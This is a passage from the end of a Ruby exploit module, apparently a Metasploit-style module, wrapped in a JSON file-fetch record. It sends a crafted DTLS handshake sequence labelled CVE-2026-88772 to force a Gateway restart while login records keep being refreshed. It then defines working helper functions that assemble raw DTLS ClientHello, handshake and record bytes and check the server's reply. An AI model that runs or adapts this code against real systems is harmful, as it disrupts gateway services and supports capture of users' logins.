alone cannot confirm a restart. Keep refreshing the\n    # login records whether this trigger works or not.\n    print_status('Sent the CVE-2026-88772 DTLS sequence; login refreshes will continue')\n  rescue Rex::TimeoutError, IOError, SystemCallError => e\n    print_warning(\"The DTLS restart could not be sent: #{e.message}\")\n  ensure\n    disconnect_udp(socket) if socket\n  end\n\n  def dtls_client_hello(cookie, client_random)\n    # Keep the same client random in both DTLS 1.0 hellos; only the second one\n    # includes the server's cookie. The remaining bytes advertise the cipher\n    # and extensions accepted by the Gateway.\n    \"\\xfe\\xff\".b + client_random + \"\\x00\".b + [cookie.bytesize].pack('C') + cookie +\n      \"\\x00\\x04\\x00\\x35\\x00\\xff\\x01\\x00\\x00\\x0c\\x00\\x23\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\".b\n  end\n\n  def dtls_handshake(kind, body, sequence, total = body.bytesize, offset = 0)\n    # A fragment keeps the full message length in its header, while offset\n    # and fragment length describe only the bytes carried by this record.\n    [kind].pack('C') + dtls_u24(total) + [sequence].pack('n') + dtls_u24(offset) + dtls_u24(body.bytesize) + body\n  end\n\n  def dtls_record(handshake, sequence)\n    # DTLS 1.0 handshake record: content type, version, epoch zero, six-byte\n    # record sequence, payload length, then the handshake message.\n    \"\\x16\\xfe\\xff\\x00\\x00\".b + [sequence].pack('Q>')[-6, 6] + [handshake.bytesize].pack('n') + handshake\n  end\n\n  def dtls_u24(value)\n    # DTLS uses three-byte lengths and offsets; Ruby's pack uses four-byte\n    # network-order integers, so keep the low three bytes.\n    [value].pack('N')[-3, 3]\n  end\n\n  def dtls_handshake_type(record)\n    # Require a complete first handshake inside a DTLSv1 epoch-zero record.\n    # A datagram may contain further records, so trailing bytes are allowed.\n    return unless record && record.bytesize >= 25\n    return unless record.getbyte(0) == 22 && record.byteslice(1, 4) == \"\\xfe\\xff\\x00\\x00\".b\n\n    record_length = record.byteslice(11, 2).unpack1('n')\n    return unless record_length >= 12 && record.bytesize >= 13 + record_length\n\n    message_length = (\"\\x00\".b + record.byteslice(14, 3)).unpack1('N')\n    offset = (\"\\x00\".b + record.byteslice(19, 3)).unpack1('N')\n    fragment_length = (\"\\x00\".b + record.byteslice(22, 3)).unpack1('N')\n    return unless offset + fragment_length <= message_length && fragment_length <= record_length - 12\n\n    record.getbyte(13)\n  end\n\n  def dtls_handshake_body(record, kind)\n    return unless dtls_handshake_type(record) == kind\n\n    message_length = (\"\\x00\".b + record.byteslice(14, 3)).unpack1('N')\n    offset = (\"\\x00\".b + record.byteslice(19, 3)).unpack1('N')\n    fragment_length = (\"\\x00\".b + record.byteslice(22, 3)).unpack1('N')\n\n    record.byteslice(25, fragment_length) if offset.zero? && fragment_length == message_length\n  end\n\n  def dtls_server_hello?(record)\n    body = dtls_handshake_body(record, 2)\n    return false unless body && body.bytesize >= 38 && body.byteslice(0, 2) == \"\\xfe\\xff\".b\n\n    # This ClientHello offers only TLS_RSA_WITH_AES_256_CBC_SHA. A response\n    # naming another suite or a truncated session ID is not a completed hello.\n    session_id_length = body.getbyte(34)\n    return false if session_id_length > 32 || body.bytesize < 38 + session_id_length\n\n    body.byteslice(35 + session_id_length, 2) == \"\\x00\\x35\".b && body.getbyte(37 + session_id_length).zero?\n  end\nend\n","sha256":"bebbcc9a87ffbeb3d2bdba82166cf27c001567c216d41ad7ef5dc16204a9c9db","bytes":33029,"fetchedAt":"2026-11-25T16:31:00.243Z","encoding":"utf-8 (display only; download retains original bytes)"}